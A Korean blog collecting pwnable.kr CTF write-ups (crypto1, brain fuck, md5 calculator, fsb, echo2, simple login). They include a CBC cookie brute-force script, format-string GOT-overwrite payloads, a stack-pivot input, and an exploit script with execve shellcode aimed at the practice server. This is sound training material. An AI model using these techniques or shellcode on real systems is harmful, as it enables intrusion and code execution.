매번 pwnable 문제를 풀때 그러지만 엄한데서 삽질을 하며 시간을 날렸습니다...허허


역시 풀이의 방향성을 잡는게 가장 어렵고 중요한것같습니다.

'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10
프로그램 분석




이번 문제는 바이너리 없이 client, host 에서 돌고 있는 파이썬 스크립트를 주어지는데
주어진 스크립트에는 중요 변수 내용(iv, key, cookie) 값이 없는 상태이다.



주요 코드를 살펴보면  client에선 ID, PW, COOKIE 값을 (ID-PW-COOKIE)를 암호화한 값을 전송하며
서버에선 이 값을 복호화해 - 를 기준으로 split해 값을 판별하는 것을 알 수 있다.




취약점 탐색

이번 문제를 보면서 역시나 시스템적인 취약점이 있지 않을까? 하면서 여기 저기 값을 "A"*100.... 넣어봤는데 취약점은 발동하지 않았다.

문제의 의도대로 AES - CBC 암호화에 대해 알아야 풀 수 있는 것 같아 암호화 알고리즘에 대해 공부했다.
참고 자료에서 보면 자세히 알 수 있지만 간단히 말하자면
plain text를 block size 에 따라 나눠 암호화하고, plain text (xor) initial vector 한 값을 암호화해 나온 암호화 block 값을 다음 암호화에 사용하는 게 핵심적인 내용이다.

여기서 중요한 것은 plain text를 block size로 나눠 암호화 하며, 첫 번째 block은 initial vector 값에 의존해 암호화되어 결과값이 나온다는 것 2가지이다.



위 코드에서 보듯, block size는 16byte 이므로 16byte씩 끊어서 암호화를 진행하게 된다

이 때 위의 그림을 보면 id, pw, cookie 값을 - 문자를 기준으로 split 하는 것이 중요한 취약점이 될 수 있다.

사용자의 입력을 받는 id, pw 같은 경우 - 문자가 들어갈 수 있으므로 (입력 가능한 문자 아래 그림 참조)




사용자가 만약 id를 a-b-c- 로 입력 시 프로그램은 a를 ID, b를 PW, C를 COOKIE 값으로 판별하게 된다.

즉 사용자의 의도대로 ID, PW, COOKIE 값을 변조할 수 있는 것인데 서버 프로그램의 코드를 살펴보면



사용자가 전송한 COOKIE값이 일치하지 않을 경우 0을 return해 인증되지 않은 사용자라는 출력을 해주고 프로그램은 종료된다.
결국 COOKIE 값을 맞춘 후, hash값만 일치시키면 admin 사용자로 인증할 수 있게 된다.



COOKIE 값을 구하기 위한 Idea 고찰

cookie값은 어떤 값, 방식을 통해 구할수 있을까? 고민하다가 

우선 id, pw, cookie 값이 - 로 구분되는 것첫 번째 암호화된 block의 변수는 plain block1 값과 iv 값 두 가지 인것을 이용하기로 했다.

즉 iv의 값이 고정일 경우 plain block1 의 값이 변해야 encyrpted block1 의 값이 변하는 것이므로 다음과 같은 아이디어를 생각했다.


ID : '-' * 12, PW : '-' 를 입력한다면 ?

암호화 되기 전 평문은  ---------------COOKIEVALUE.... 이런식으로 구성 될텐데 이 때 블럭 사이즈가 16 이므로 

---------------C |  OOKIEVALUE...... | ......
   block 1.              block 2.             block 3 ....

위 평문을 암호화한 암호문의 첫번째 블락의 값을 구하면 ---------------C, 즉 쿠키의 첫번째 글자를 포함한 암호화 값을 알 수 있다.



또 우리는 ID, PW에 '-' 문자를 포함할 수 있으므로 

ID : '-'*15 + ?      , PW : anything

위 물음표 자리에 문자열을 하나씩 대입해 나오는 암호문의 첫번째 블락 값을 위 쿠키의 첫번째 글자를 포함한 암호화 값비교하면

쿠키의 첫번째 글자의 값을 알 수 있다.

이와 같이 한글자씩 쿠키의 값을 알아낼 수 있다.



COOKIE 값 구하는 코드

코드 돌리면서도 계속 헷갈려서 자동화는 안하고 손으로 맞춰보면서 돌렸다.
한마디로 발로 짜서 개판인 코드 허허...

from pwn import *


context(arch = 'amd64', os = 'linux')

local=False


# first  

p = remote("pwnable.kr", 9006)


print p.recvuntil('ID\n')

p.sendline('-'*12)

print p.recvuntil('PW\n')

p.sendline('-')

data = p.recvuntil('user\n')

enc = data[data.index('(')+1:data.index(')')]

print len(enc)


enc = enc[0:32]

print enc

print len(enc)


# brute

for i in '1234567890abcdefghijklmnopqrstuvwxyz-_ABCDEFGHIJKLMNOPQRSTUVWXYZ' :

        p = remote("pwnable.kr", 9006)

        p.recvuntil('ID\n')

        p.sendline('-'*15+i)

        p.recvuntil('PW\n')

        p.sendline('-')

        data = p.recvuntil('user\n')

        try_ = data[data.index('(')+1:data.index(')')]

        try_ = try_[0:32]

        if enc == try_ :

                print "FIND!! first one is " + i

                break

 

 




Flag 얻기

cookie값을 알았으므로 나머지는 간단히 처리할 수 있다.



위 코드를 보면 ID가 admin 이며, PW의 hash 값이 맞는 경우 서버로부터 2를 return 받고 flag 값을 알 수 있다. 

다음과 같이 'admin' + cookie 값의 hash 값을 구해서

print hashlib.sha256("admin"+COOKIE_VALUE).hexdigest()



ID :  admin-HASH_VALUE-COOKIE_VALUE
PW : anything

을 전송하면 정상적으로 flag 값을 확인 할 수 있다.








===============================================================================================



참고자료 1. (출처:https://wikidocs.net/64)


3.5. 축약함수(Lambda)

오늘은 람다 형식과 그것을 이용하는 여러가지 함수들에 대해서 알아보겠습니다. 당장 완벽하게 소화하실 필요는 없을 것 같구요, 가벼운 마음으로 이런 것이 있다는 정도만 아셔도 되지 않을까 합니다. 람다 형식은 인공지능 분야나 AutoCAD라는 설계 프로그램에서 쓰이는 Lisp 언어에서 물려받았다고 하는데요, 함수를 딱 한 줄만으로 만들게 해주는 훌륭한 녀석입니다. 사용할 때는 아래와 같이 써주면 되지요.

lambda 인자 : 표현식

다음은 두 수를 더하는 함수입니다.

>>> def hap(x, y):
...   return x + y
...
>>> hap(10, 20)
30

이것을 람다 형식으로는 어떻게 표현할까요?

>>> (lambda x,y: x + y)(10, 20)
30





참고자료 2. (https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_.28CBC.29)


암호 블록 체인 방식 (CBC)[편집]

암호 블록 체인 (cipher-block chaining, CBC) 방식은 1976년 IBM에 의해 개발되었다.[4] 각 블록은 암호화되기 전에 이전 블록의 암호화 결과와 XOR되며, 첫 블록의 경우에는 초기화 벡터가 사용된다. 초기화 벡터가 같은 경우 출력 결과가 항상 같기 때문에, 매 암호화마다 다른 초기화 벡터를 사용해야 한다.

Cbc encryption.png

Cbc decryption.png

CBC 방식은 현재 널리 사용되는 운용 방식 중 하나이다. CBC는 암호화 입력 값이 이전 결과에 의존하기 때문에 병렬화가 불가능하지만, 복호화의 경우 각 블록을 복호화한 다음 이전 암호화 블록과 XOR하여 복구할 수 있기 때문에 병렬화가 가능하다.



'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] loveletter - 50pt  (0) 2018.09.07
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10

문제 푸느라, 사실 삽질하느라 날아간 일요일을 기리며 허허...

주말저녁에 문제 풀고 writeup 쓰고 있는게 싱숭생숭하면서도 보람차네요(사실 풀고나면 별거 아니지만요)


======================================================


보호 기법 확인(checksec)




CANARY, NX 확인, 서버 환경 상 ASLR enable.




프로그램 동작 분석



x86 binary, 실행 시 사용자의 입력을 받고 프로그램 종료.

겉보기엔 모르니 리버싱을 해봅시다




바이너리 리버싱






main() 에서 사용자 입력을 받아 한 글자씩 파싱. do_brainfuck() 함수 내부에서 각 case에 알맞는 기능을 처리


여기서 p 변수를 살펴보면 main() 에서 p = &tape 로 초기화하고 이때 값은 0x804a0a0 .


이 함수에서 p 의 값을 이용해 ++, --, putchar ... 등등 처리를 해주므로 이것을 이용해 볼 수 있겠다.




Exploit 전략 구성


0x804a0a0 값을 기준으로 >, < 를 이용해 메모리 값을 변경할 수 있고 getchar(), putchar() 명령을 사용할 수 있다.


다만 BOF나 다른 취약점이 아니므로 stack을 마음대로 바꾸지 못하고, parameter로 넘어가는 값을 쉽게 조작할 수 없다.


system(/bin/sh) 를 실행하기 위해 어떻게 할까



- puts() 이용 ?



puts의 GOT를 system으로 덮어쓰고 "[ and ] not supported." 를 overwrite 하려고 했는데 당연하게도 위 string의 위치는 쓰기 권한 없음


위 영역에 어떻게 접근해서 써야하나 고민 많이 했는데 당연히 안됨. 실패.


- putchar() 이용 ?



위와 비슷하게 _putchar의 GOT를 system으로 덮고 파라미터로 넘어가는 ds:p를 조작해 /bin/sh string 주소를 넘김


하지만 넘기는 값이 byte ptr [eax] 이므로 메모리 주소가 정상적으로 넘어가지 않음.


코드를 좀더 꼼꼼히 봤어야 했는데.. 실패.



- setvbuf() 이용 !


main() , do_brainfuck() 에서 이용하는 함수 중 첫번째 parameter를 control할 수 있는 함수가 뭐가 있을까 살펴보다가 




setvbuf 호출 시 첫번째 parameter는 stdin 으로




해당 값은 bss 영역으로 Read/Write 권한이 있다.


이를 이용해 다음과 같이 system(/bin/sh) 을 위한 전략을 구상했다.


1 - setvbuf() GOT 를 system() 으로 overwrite. ( 문제에서 libc도 제공하므로 두 함수 사이의 offset 계산 가능 )

2 - stdin overwrite

0x804a040  :  0x804a044

0x804a044  :  /bin/sh\x00

3 - puts() GOT 를 main() 내 setvbuf() 호출하는 코드 주소로 overwrite ( 위의 경우는 0x80486b9 )

4 - '[' 입력으로 puts() 호출.


정상적으로 쉘 획득하는 것을 확인함.




공격 코드





'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] loveletter - 50pt  (0) 2018.09.07
[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10

정성 들여 쓴글이 다 날라갔습니다 허허허

인생은 참 무엇인지... 최소한의 기록만 남겨야겠습니다.


======================================================


보호 기법 확인(checksec)




CANARY, NX 확인, 서버 환경 상 ASLR enable.




프로그램 동작 분석


x86 binary 로 사용자에게 captcha를 입력 받음

맞을 경우 base64 encoding 된 값을 입력 받아 md5 값 계산, 출력 후 프로그램 종료






취약점 탐색


사용자 입력 부분을 이것 저것 살펴보다가 base64 값 입력 부분에서 stack smashing 이 나는 것을 확인



memory leak을 해 canary를 확인해 BOF 하거나, 아니면 다른 취약점을 찾아야 함



binary를 리버싱해보면 다음과 같이 canary 와 현재 time 값 seed 의 rand() 값을 이용해 captcha를 생성하는 것을 확인할 수 있음 





즉 captcha 값과 captcha 생성 시 time seed 값을 알 수 있으면 역으로 canary 값을 계산할 수 있음


문제 설명의 hint를 보면 

hint : this service shares the same machine with pwnable.kr web service


pwnable.kr 웹서비스 요청을 통해 시간을 알 수 있다




Canary 계산


Canary 계산을 위해 unix timestamp 값과 captcha 를 입력 받아 계산해주는 코드를 짰다. 대~~충



python 코드에서 위 프로그램 호출 후 return 된 값을 & 0xffffffff 해 4바이트 처리를 해 줌




EIP control 시도


Canary 및 return address 위치 확인을 위해 gdb로 메모리 분석


A*512 를 base64 encoding 후 입력 했을 때



gdb-peda$ x/16wx $ebp-0x1c

0xbfffee9c:     0x41414141      0x41414141      0x41414141      0x41414141

0xbfffeeac:     0x464b5000      0xb7da4000      0x00000000      0xbfffeee8

                    ( Canary )

0xbfffeebc:     0x08049174      0x08049314      0xbfffeed8      0x00000001

                   (Return addr)


Payload = A * 512 + Canary 4byte + A*12 + Return addr 4byte 


위 Payload 를 base64 encoding 해 입력하면 정상적으로 EIP control 이 될 것이고 로컬 테스트 완료 함




/bin/sh 실행 방법 구상



EIP control 은 됐고... 쉘은 어떻게 잡아야될 지 생각해보자


ASLR이 적용되어 있으므로


1. Memory leak  -> libc base addr 계산 -> system(/bin/sh) 실행

2. 고정된 주소(code, bss .... ) 사용


둘 중 하나의 방법을 사용해야 할텐데 main() 함수를 보면 다음과 같이 system() 을 call 하는 곳이 있다



이제 /bin/sh 문자열만 메모리에 올리고 주소만 알면 되는건데, 변수를 살펴보면 다음과 같이 고정된 주소를 사용하는 g_buf가 있다



근데 g_buf에 들어가는 값은 base64 encoding된 값이고, decoding된 값은 스택에 들어가서 주소가 유동적임


-  "/bin/sh\n00" + encoded value  로 payload를 구성해 보내볼까?

     :  base64 decoding 이 정상적으로 될 리 없음.


- 그냥 memory leak 할까...

     :  leak 없이 해보려고 했는데 약간 아쉬움?


- 설마 base64 encoding해 /bin/sh 문자열이 될 수 있나?




     :  /bin/sh 로 디코딩 시 패딩 에러... 발생해 /bin//sh 로 사용해 정상적으로 인코딩, 디코딩 되는 것을 확인함


     : base64 인코딩으로 NULL은 만들지 못하지만 Payload 제일 마지막에 붙이면 NULL 삽입 없이 되지 않을까


결과적으로 


Payload = A * 512 + Canary 4byte + addr_of_system_call + addr_of_/bin//sh + 0xfdb8a7fffb21


로 Payload 구성, base64 encoding된 값을 입력해 정상적으로 쉘 획득 함




공격 코드


















'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10
[pwnable.kr] simple login - 50pt  (0) 2016.08.23

바이너리 보안기법 검사(checksec.sh)


RELRO             STACK CANARY      NX               PIE               RPATH        RUNPATH         FILE

Partial RELRO    No canary found    NX enabled    No PIE          No RPATH    No RUNPATH   ./fsb 




소스코드 확인


main() 에서 /dev/urandom을 이용해 8바이트 읽고 이것을 key 값으로 사용한다

이후 alloca를 이용해 0x12345 & key 만큼 메모리 할당하는데 fsb를 이용해 직접적으로 key 값에 접근하짐 못하게 하기위한 것 같다.


뭐 아무튼 fsb() 함수 내에서 다음과 같은 코드로 인해 format string bug가 발생


for(i=0; i<4; i++){

                printf("Give me some format strings(%d)\n", i+1);

                read(0, buf, 100);

                printf(buf);

 }


gdb를 이용해 fsb 발생 전, 후 스택 상태를 살펴보자 




GDB를 이용한 스택 값 확인


fsb() 에서 printf 하기 직전에 break point 설정



(gdb) b *fsb+220


Breakpoint 2, 0x08048610 in fsb ()

(gdb) x/64wx $esp

0xbfa734d0:     0x0804a100      0x0804a100      0x00000064      0xb7734b48

0xbfa734e0:     0x00000001      0x00000000      0xbfa73504      0x0804a024

0xbfa734f0:     0x0804828c      0x08048870      0x00000000      0x00000000

0xbfa73500:     0xbfa7377c      0xbfa75fd1      0xbfa73520      0xbfa73524 

0xbfa73510:     0xbfa735c4      0xbfa73590      0xbfa73578      0x08048791

0xbfa73520:     0x00000000      0x00000000      0x00000008      0xbfa73578

0xbfa73530:     0xbfa73590      0x0804a060      0xb764b4ec      0x0804874e

0xbfa73540:     0x00000003      0x0804a060      0x00000008      0x080483bd

0xbfa73550:     0xbfa75176      0x0000002f      0x08049ff4      0x00000010

0xbfa73560:     0x080487a0      0x08048480      0x00000000      0x00000003

0xbfa73570:     0xbfa73590      0xb771a000      0x00000000      0xb7589a83

0xbfa73580:     0x080487a0      0x00000000      0x00000000      0xb7589a83



소스코드 상 사용자 입력은 data 영역(변수 buf)로 들어가기 때문에 스택에서 사용할 수 없다

하지만 위에서 빨간색으로 표시한 것과 같이


i) 스택의 특정 위치를 가리키는 포인터가 저장되어 있고

ii) 위 위치에 접근 가능하기 때문에


Double staged fsb를 사용할 수 있다

그럼 어디 메모리 주소를 쓰고 그 주소를 뭘로 덮을까




GOT overwriting을 위한 주소 확인


objdump 를 이용해 바이너리의 GOT 주소를 확인


root@ubuntu:/home/u32/Desktop/pwnable/rookiss/fsb# objdump -R ./fsb


./fsb:     file format elf32-i386


DYNAMIC RELOCATION RECORDS

OFFSET   TYPE              VALUE 

08049ff0 R_386_GLOB_DAT    __gmon_start__

0804a000 R_386_JUMP_SLOT   read

0804a004 R_386_JUMP_SLOT   printf

...

(참고용)

(gdb) x/wx 0x804a004

0x804a004 <printf@got.plt>:     0xb75bd280


for loop를 돌면서 printf를 호출해주기때문에 printf의 GOT 주소를 덮어주면 되겠고

control flow hijacking 해서 뛸 주소는


0x080486ab <+375>:   mov    -0x24(%ebp),%eax

0x080486ae <+378>:   movl   $0x0,0x8(%esp)

0x080486b6 <+386>:   lea    -0x24(%ebp),%edx

0x080486b9 <+389>:   mov    %edx,0x4(%esp)

0x080486bd <+393>:   mov    %eax,(%esp)

0x080486c0 <+396>:   call   0x8048450 <execve@plt>


fsb() 내에서 execve(/bin/sh) 해주는 부분으로 뛰면 되겠다.


정리해보면 

i) 첫번째 fsb로 스택 내 0x804a004 값 쓰기

ii) 두번째 fsb로 0x804a004 값을 0x080486ab 로


(여기서 먼저 쓸 값보다 두번째 쓸 값이 작으므로 fsb 한번에 두개 값을 써야 하면 성가셔질뻔? 두번째 fsb사이의 값을 엄청 크게해서 0x1080486ab 로 만들어야하나? 어차피 여기선 4번 쓸 수 있기때문에 편함)




Exploit 진행 및 결과 확인


Give me some format strings(1)

%134520836c%14$n

...

Give me some format strings(2)

%134514347c%20$n

...

$





'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10
[pwnable.kr] simple login - 50pt  (0) 2016.08.23

FSB 발생 확인


hello abcd

AAAA %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x

AAAA  250005f be7d2790 38252078 38252078 be9ed700 41414141 goodbye abcd





Exploit 방안 탐색

FSB를 활용할수 있으므로 %n을 이용해 메모리 write를 통해 exploit(GOT overwriting 등) 할 수 있으나 입력할 수 있는 바이트 수가 길지 않은 상황임
또한 이 문제에선 UAF 취약점도 가지고 있으므로 
i) 쉘코드를 메모리에 쓰고
ii) 쉘코드가 올라간 주소를 알 경우
쉘코드를 실행, 쉘을 딸 수 있다.

사용자 입력을 받는 부분을 살펴보면 다음과 같이 사용자 이름을 24바이트만큼 받는 것을 확인할 수 있다.


이 메모리를 이용해 쉘코드를 업로드하면 메모리 주소만 알면 끝나는데 서버는 ASLR이 enable 되어있는 상태이므로 주소확인이 필요하다.
FSB 취약점을 이용해 메모리 쓰기 뿐 아니라 스택의 값들을 모두 출력해 볼 수 있으므로 스택에 들어있는 메모리 주소를 이용해 위 메모리의 주소를 구할 수 있다.


사용자 이름을 AAAA, FSB 내용 입력을 aaaa.%x..... 로 입력한 상황,
GDB를 이용해 FSB 취약점 내용이 출력되는 printf 직전에 스택 값들을 확인해보면

(gdb) x/64wx $rsp-0x20

0x7fffffffdc10: 0xffffdd70      0x00000020      0xffffdc30      0x00007fff

0x7fffffffdc20: 0xffffdc50      0x00007fff      0x00400858      0x00000000

0x7fffffffdc30: 0x61616161      0x2e783825      0x2e783825      0x2e783825

0x7fffffffdc40: 0x2e783825      0x2e783825      0x2e783825      0x00783825

0x7fffffffdc50: 0xffffdc90      0x00007fff      0x00400acb      0x00000000

0x7fffffffdc60: 0xffffdc90      0x00007fff      0x00000000      0x00000002

0x7fffffffdc70: 0x41414141      0x00000000      0x004006b0      0x00000000

0x7fffffffdc80: 0xffffdd70      0x00007fff      0x00000000      0x00000000

0x7fffffffdc90: 0x00000000      0x00000000      0xf7a36ec5      0x00007fff

0x7fffffffdca0: 0x00000000      0x00000000      0xffffdd78      0x00007fff



위와 같이 0x7fffffffdc50 메모리 번지에 스택의 주소가 들어있는 것을 확인해볼 수 있고 해당 주소에서 0x20 만큼을 빼면 우리가 원하는 메모리의 주소를 구할 수 있다.(물론 GDB에서 출력한 메모리 주소는 변동되지만 offset은 일정하므로)






Exploit 코드



from pwn import *

shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"

shellcode+="\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"


#sh=process("/home/u64/Desktop/echo2/echo2_ori")

sh=remote("pwnable.kr",9011)

sh.recvuntil(":")

sh.sendline(shellcode)

print sh.recvuntil("> ")

sh.sendline("2")

sh.recvline()

sh.sendline("%x%x%x%x%x%x%x%x%xS%lx")

addr = sh.recvline()

addr = addr[addr.index("S")+1:].strip()

name=int(addr,16)-0x20

sh.recvuntil(">")

sh.sendline("4")

sh.sendline("n")

sh.recvuntil(">")

sh.sendline("3")

sh.recvline()

sh.sendline("A"*24+p64(name))

sh.interactive()




'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] simple login - 50pt  (0) 2016.08.23



바이너리 보안기법 검사 (checksec.sh)


 # /home/u32/Desktop/checksec.sh --file ./login                                                                        

RELRO           STACK CANARY      NX               PIE               RPATH        RUNPATH        FILE       

Partial RELRO   Canary found        NX enabled    No PIE          No RPATH   No RUNPATH   ./login


NX, Stack canary enable 확인





바이너리 리버싱



소스코드를 보면 Base64Decode한 값을 input으로 memcpy 하는 것을 확인할 수 있음.

여기서 auth(v6) 함수의 return 값이 1이면 correct() 함수 실행


correct() 함수 내부는 

 

input의 4바이트 값이 0xDEADBEEF 와 같으면 /bin/sh 실행하게 됨.



if 조건을 확인하는 auth() 함수는 아래와 같으며 함수를 대충 살펴보면 md5 계산한 해쉬 값이 f87... 와 같으면 True를 리턴하는 것 같다.



calc_md5, base64 decode 함수 따라가보면서 값을 tracking 해보려다가 다음과 같이 같은 값을 넣어도 hash 값이 계속 변동되는 것을 확인했다



즉 이 hash 값을 비교해서 correct() 로 넘어가는 게 의미 없는 상황이 됨. 어떻게 /bin/sh를 실행시킬까


여기서 AAAABBBBCCCC 12바이트를 인코딩한 QUFBQUJCQkJDQ0ND 를 입력값으로 넣으면 프로그램이 Segmentation fault를 뜨면서 죽는다.


Program received signal SIGSEGV, Segmentation fault.     

0x08049424 in main ()




Error 분석(main() 0x08049424)


Segmentation fault 시 register 값 확인


 Breakpoint 2, 0x0804941f in main ()                      

(gdb) i r                                                          

eax            0x0      0                                        

ecx            0x32     50                                      

edx            0x80da684        135112324                

ebx            0x80481d0        134513104                

esp            0xbfffee60       0xbfffee60                  

ebp            0x43434343       0x43434343              

esi            0x0      0                                         

edi            0x811b00c        135376908                 

eip            0x804941f        0x804941f <main+274>

eflags         0x200297 [ CF PF AF SF IF ID ]            

cs             0x73     115                                     

ss             0x7b     123                                     

ds             0x7b     123                                     

es             0x7b     123                                    

fs             0x0      0                                         

gs             0x33     51             


위 레지스터 값에서 보이는 것과 같이 12바이트 중 마지막 4바이트 값이 ebp로 설정된다는 것을 알 수 있다.

이 상황에서 Segmentation fault 뜨는 원인을 찾아보면 leave; ret;은 즉


leave 

mov esp,ebp

pop ebp


ret

pop eip

jmp eip


과 같다.

잘못된 ebp의 값이 esp로 들어간 후 pop 명령을 수행하게 되므로 문제가 생기는 상황.


정리해보면

1. ebp를 통한 esp 컨트롤 가능.

2. 2번째 pop 명령 결과가 eip로 들어감.


이 두가지 조건을 이용해 조작가능한 메모리공간 8바이트(dummy 4바이트 + EIP 4바이트)가 추가로 있으면 EIP 컨트롤이 가능할 수 있다

바이너리가 돌고 있는 서버는 ASLR이 적용되어있으므로 스택의 임의주소는 사용하지 못함


main 함수의 코드를 다시 보면 input은 전역 변수이므로 메모리 주소(0x0811eb40)가 고정임을 알 수 있다



Exploit을 위한 입력값은 다음과 같이 구성한다.

AAAA +  0x08049278  + 0x0811eb40

   1.               2.                 3.

1. dummy 4바이트

2. main() 에서 /bin/sh를 실행하는 주소

3. input 메모리 시작 주소


little endian 이므로 이를 고려하고 base64 encoding 해주면 결과값(QUFBQXiSBAhA6xEI)을 구할 수 있다

(pwntools 이용해서 깔끔하게 코드 짜려다가 다음 기회로...)





결과 확인




'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10

+ Recent posts